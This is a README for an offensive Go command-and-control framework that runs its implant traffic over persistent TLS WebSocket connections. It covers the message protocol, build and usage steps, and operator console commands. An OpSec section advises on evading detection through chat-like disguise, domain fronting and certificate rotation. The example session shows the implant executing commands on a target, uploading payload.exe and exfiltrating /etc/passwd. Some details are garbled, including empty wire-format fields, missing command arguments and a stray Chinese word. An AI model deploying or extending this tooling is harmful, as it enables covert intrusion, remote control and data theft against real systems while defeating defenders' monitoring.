# WebSocket Abuse C2 A command & control framework using **persistent WebSocket connections** instead of HTTP request/response polling. The long-lived connection mimics legitimate applications (chat apps, trading dashboards, sports feeds) — avoiding the beaconing pattern that behavioral detection looks for. ## Concept Traditional C2 implants connect, send/request data, and disconnect. This creates a recognizable **beacon** pattern: "every 60 seconds, this process connects, sends a POST, gets a 200, and disconnects." Behavioral ML and EDR pick this up easily. **WebSocket Abuse C2** keeps a persistent TLS WebSocket connection open. The traffic looks like a live chat session or data feed — not C2 traffic. There's no periodic connect/disconnect cycle to detect. ## Architecture ``` ┌─────────────────────┐ wss:// ┌─────────────────────┐ │ C2 Server │◄───────────────────────►│ Implants │ │ cmd/server/main.go │ TLS WebSocket │ cmd/client/main.go │ │ │ │ │ │ Operator Console │ JSON message frames │ os/exec execution │ │ (interactive TUI) │ {"type":"exec", │ file upload/downld │ │ │ "id":"...", │ configurable beacon│ │ │ "data":"..."} │ auto-reconnect │ └─────────────────────┘ └─────────────────────┘ ``` ## Message Protocol All communication uses JSON-encoded frames: ```json { "type": "cmd|result|exec|upload|download|ping|pong|heartbeat|register", "id": "implant-unique-id", "data": "command string or base64 payload", "error": "error message (result messages only)" } ``` ### Message Types | Type | Direction | Purpose | |-------------|-------------|---------------------------------------------| | `register` | Client→Server | Identify implant on connect | | `exec` | Server→Client | Execute a shell command | | `upload` | Server→Client | Upload file to implant (base64) | | `download` | Server→Client | Request file from implant | | `beacon` | Server→Client | Change heartbeat interval | | `exit` | Server→Client | Disconnect implant | | `result` | Client→Server | Command output or error | | `ping` | Server→Client | Keepalive probe | | `pong` | Client→Server | Keepalive response | | `heartbeat` | Client→Server | Regular alive signal at beacon interval | | `cmd` | Server→Client | Generic command (reserved) | ### Upload Wire Format `upload` commands carry data in `"data"` as: `|` ### Download Wire Format The implant replies with a `result` where `"data"` is: `|` ## Build ```bash # Generate go.sum and verify go mod tidy # Build server go build -o bin/server ./cmd/server # Build implant go build -o bin/client ./cmd/client ``` The only external dependency is `github.com/gorilla/websocket`. Everything else is Go stdlib. ## Server Usage ```bash ./bin/server -addr :8443 -cert server.crt -key server.key ``` If certificate files don't exist, the server generates a self-signed certificate automatically. ### Flags | Flag | Default | Description | |---------|----------------|------------------------------| | `-addr` | `:8443` | Listen address (host:port) | | `-cert` | `server.crt` | TLS certificate file | | `-key` | `server.key` | TLS private key file | ### Operator Console Commands | Command | Description | |-------------------------------|-------------------------------------| | `list` | Show all connected implants | | `use ` | Select an implant by ID | | `exec ` | Run shell command on selected | | `upload ` | Upload file to implant | | `download ` | Download file from implant | | `beacon ` | Change implant's beacon interval | | `broadcast ` | Run command on ALL connected | | `exit` | Disconnect selected implant | | `help` | Show this help | ## Client (Implant) Usage ```bash ./bin/client -server wss://192.168.1.100:8443/ws -id my-implant -interval 60 ``` ### Flags | Flag | Default | Description | |-----------|------------------------------|---------------------------------| | `-server` | `wss://127.0.0.1:8443/ws` | C2 server WebSocket URL | | `-id` | `-` | Implant identifier | | `-interval` | `60` | Heartbeat interval (seconds) | ### Auto-Reconnect The implant uses exponential backoff on disconnect: 1. Start: 1 second 2. Double each retry (1s → 2s → 4s → 8s → ...) 3. Cap: 60 seconds max 4. Resets to 1s on successful connection ## TLS Certificate Setup ### Self-Signed (Quick Start) The server auto-generates a self-signed certificate on first run. The implant accepts self-signed certs (`InsecureSkipVerify: true` by default). ### Production / Legitimate TLS ```bash # Using Let's Encrypt (certbot) certbot certonly --standalone -d c2.example.com cp /etc/letsencrypt/live/c2.example.com/fullchain.pem server.crt cp /etc/letsencrypt/live/c2.example.com/privkey.pem server.key # Or generate with OpenSSL openssl req -newkey rsa:4096 -nodes -keyout server.key -x509 -days 365 -out server.crt ``` ### Implant with Valid Certs Modify `cmd/client/main.go`: ```go tlsConfig := &tls.Config{ InsecureSkipVerify: false, // validate server cert // optionally: RootCAs: caCertPool for custom CA } ``` ## WebSocket vs HTTPS Comparison | Aspect | HTTPS Polling | WebSocket C2 | |----------------------|----------------------------------|---------------------------------------| | Connection pattern | Connect → Request → Disconnect | Persistent connection | | Detection surface | Predictable timing/frequency | Continuous stream, no beacon gap | | Traffic shape | HTTP headers + JSON body | Upgraded WS frames (minimal overhead) | | Header analysis | Standard HTTP headers visible | Single Upgrade, then raw WS frames | | Deep packet inspect | POST/GET patterns easy to detect | Looks like聊天 / live data feed | | Keepalive | N/A | Ping/pong every 30s (WS native) | | Latency | Poll interval delay | Real-time command delivery | | Firewall traversal | HTTP/HTTPS ports only | Same (rides HTTPS) | | Protocol overhead | Higher (HTTP headers per request)| Lower (framed, no headers per msg) | ## OpSec Notes ### Traffic Disguise - **Use `wss://`** (WebSocket Secure) — encrypts all traffic, looks like HTTPS - **Customize the URL path** — rename `/ws` to `/chat`, `/live`, `/stream`, `/socket`, `/feed` - **Fake WebSocket subprotocol** — add a subprotocol name during handshake: ```go conn, _, err := dialer.Dial(serverURL, http.Header{ "Sec-WebSocket-Protocol": []string{"chat"}, }) ``` - **Pad messages** — add random padding to normalize message sizes - **C2 over 443** — run on port 443 with SNI matching a real-looking hostname ### Detection Evasion - **No beacon timing** — the connection is persistent, so there's no periodic connect/disconnect - **No HTTP request headers** — after the initial upgrade, all frames are pure WebSocket with no HTTP overhead - **TLS by default** — no plaintext traffic even on initial handshake - **Ping/pong looks like WS keepalive** — every legitimate WS app does this ### Operational Security - **Don't hardcode server IPs** — use DNS or change on each deployment - **Generate unique implant IDs** — never use the same ID twice for different campaigns - **Use domain fronting** if possible for covert channel - **Certificate rotation** — generate new self-signed certs periodically - **Command output encoding** — all responses are base64 for binary files; plaintext for shell output ## Example Session ```bash # Terminal 1: Start server $ ./bin/server WebSocket C2 server starting on wss://:8443/ws Self-signed certificate generated (valid for 365 days) > # Terminal 2: Start implants $ ./bin/client -server wss://127.0.0.1:8443/ws -id target-1 -interval 30 $ ./bin/client -server wss://127.0.0.1:8443/ws -id target-2 -interval 60 # Terminal 1: Operator console > list ──────────────────────────────────────────────────────────────────────────────── # IMPLANT ID IP CONNECTED STATUS ──────────────────────────────────────────────────────────────────────────────── 1 target-1 127.0.0.1 2026-05-11T21:59:00Z 2 target-2 127.0.0.1 2026-05-11T21:59:05Z ──────────────────────────────────────────────────────────────────────────────── Total: 2 implant(s) > use target-1 Selected implant: target-1 (127.0.0.1) connected since 2026-05-11T21:59:00Z > exec uname -a Sent exec to target-1: uname -a [Result from target-1] Linux target-1 6.8.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux > upload ./payload.exe C:\Users\Public\payload.exe Uploading ./payload.exe → C:\Users\Public\payload.exe on target-1 (12345 bytes) > download /etc/passwd Requested download of /etc/passwd from target-1 [Result from target-1] /etc/passwd|cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApk... > beacon 5 Set beacon interval to 5s on target-1 > broadcast id Broadcast 'exec id' to 2/2 implants ```